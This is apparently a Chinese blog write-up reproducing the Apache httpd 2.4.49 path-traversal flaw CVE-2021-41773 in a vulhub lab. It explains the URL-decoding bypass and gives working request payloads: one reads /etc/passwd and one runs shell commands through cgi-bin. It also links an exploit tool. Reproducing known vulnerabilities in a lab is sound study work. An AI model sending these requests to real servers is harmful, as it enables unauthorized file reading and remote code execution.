CVE-2021-41773 复现

简介: CVE-2021-41773 复现

CVE-2021-41773

Apache Httpd Server 路径穿越


Httpd(即 HTTP Daemon ,超文本传输协议守护程序的简称)是一款运行于网页服务器后台,等待传入服务器请求的软件。HTTP 守护程序能自动回应服务器请求,并使用 HTTP 协议传送超文本及多媒体内容。


简介:

Apache HTTPd 是Apache基金会开源的一款HTTP服务器。2021年10月8日Apache HTTPd官方发布安全更新,披露CVE-2021-41773 Apache HTTPd 2.4.49 路径穿越。利用这个,可以读取到Apache服务器web目录以外的其他文件,或读取web中的脚本源码,如果服务器开启CGI或cgid服务,可进行任意代码执行。影响版本是Apache HTTP Server 2.4.49。因为修复不完整,在版本Apache HTTP Server 2.4.50任有影响 ( CVE-2021-42013)


原理简介:

在 Apache HTTP Server 2.4.49 版本中,在对用户发送的请求中的路径参数进行规范化时,其使用的 ap_normalize_path() 函数会对路径参数先进行 url 解码,然后判断是否存在 ../ 路径穿越符。


当检测到路径中存在 % 字符时,若其紧跟的两个字符是十六进制字符,则程序会对其进行 url 解码,将其转换成标准字符,如 %2e 会被转换为 . 。若转换后的标准字符为 . ,此时程序会立即判断其后两字符是否为 ./ ,从而判断是否存在未经允许的 ../ 路径穿越行为。


如果路径中存在 %2e./ 形式,程序就会检测到路径穿越符。然而,当出现 .%2e/ 或 %2e%2e/ 形式,程序就不会将其检测为路径穿越符。原因是遍历到第一个 . 字符时,程序检测到其后两字符为 %2 而不是 ./ ,就不会将其判断为 ../ 。因此,可以使用 .%2e/ 或 %2e%2e/ 绕过程序对路径穿越符的检测,从而读取位于 Apache 服务器 web 目录以外的其他文件,或者读取 web 目录中的文件源码,或者在开启了 cgi 或 cgid 的服务器上执行任意命令。本质上,这一属于代码层面的逻辑。


复现:

复现使用的是vulhub的环境,位于/vulhub/httpd/CVE-2021-41773。复现使用的工具是Burp,也可以直接curl…进行利用。

执行docker-compose up -d启动环境。访问127.0.0.1:8080 若显示It works!则环境部署成功。

先进行抓包。然后进行改包。

目录穿越 poc:

GET /icons/.%2e/%2e%2e/%2e%2e/%2e%2e/etc/passwd HTTP/1.1

RCE poc:

POST /cgi-bin/.%2e/%2e%2e/%2e%2e/%2e%2e/bin/sh HTTP/1.1 
...
...
...
...
...
...
echo; ls(要执行的命令)


代码层原理参考:【原创】Apache httpd CVE-2021-41773 分析 - FreeBuf网络安全行业门户

找到了一个利用工具:

https://github.com/inbug-team/CVE-2021-41773_CVE-2021-42013



目录
相关文章
|
数据安全/隐私保护 虚拟化 Windows
如何在 VM 虚拟机中安装 Windows Server 2003 操作系统保姆级教程(附链接)
如何在 VM 虚拟机中安装 Windows Server 2003 操作系统保姆级教程(附链接)
|
消息中间件 安全 Java
vulhub部分复现记录(后面大概都是原文档了,也比较难复现就不继续了)
本文介绍了多个软件的安全漏洞及其复现过程,涉及的软件包括Vulhub、Flask、ActiveMQ、Adminer、Airflow、Apache Druid、Apereo CAS、APISIX、AppWeb、Aria2、Bash、Cacti、Celery、CGI、ColdFusion和Confluence。每个部分详细描述了漏洞的背景、环境搭建步骤、漏洞复现的具体操作和验证方法。例如,Flask的SSTI漏洞通过构造特定的模板参数实现命令执行;ActiveMQ的反序列化漏洞利用特制的序列化对象触发;这些示例不仅展示了漏洞的危害性,还提供了实际的复现步骤,帮助读者深入理解这些安全问题。
2468 3
vulhub部分复现记录(后面大概都是原文档了,也比较难复现就不继续了)
|
安全 Java 网络安全
Spring Framework JDK >= 9 远程代码执行(CVE-2022-22965)
Spring Framework JDK >= 9 远程代码执行(CVE-2022-22965)
|
安全 网络安全 数据安全/隐私保护
Pikachu RCE 通关解析
Pikachu RCE 通关解析
|
存储 监控 安全
Pikachu PHP 反序列化通关解析
Pikachu PHP 反序列化通关解析
|
安全 网络安全 数据安全/隐私保护
Pikachu CSRF 通关解析
Pikachu 靶场 CSRF 通关解析
|
数据安全/隐私保护 Android开发
Android Studio APP实战开发之找回密码及忘记密码(附源码 超实用必看)
Android Studio APP实战开发之找回密码及忘记密码(附源码 超实用必看)
815 0
|
安全 应用服务中间件 网络安全
渗透测试-Tomcat文件读取漏洞复现
渗透测试-Tomcat文件读取漏洞复现
410 10
|
SQL 数据库
【SQL注入】 sqli-labs靶场 sqlmap注入
SQL注入 sqli-labs靶场 sqlmap注入
814 0
|
安全 Oracle 关系型数据库
Oracle WebLogic Server远程代码执行漏洞 CVE-2020-14750 已亲自复现_cve-2020-14750漏洞复现
Oracle WebLogic Server远程代码执行漏洞 CVE-2020-14750 已亲自复现_cve-2020-14750漏洞复现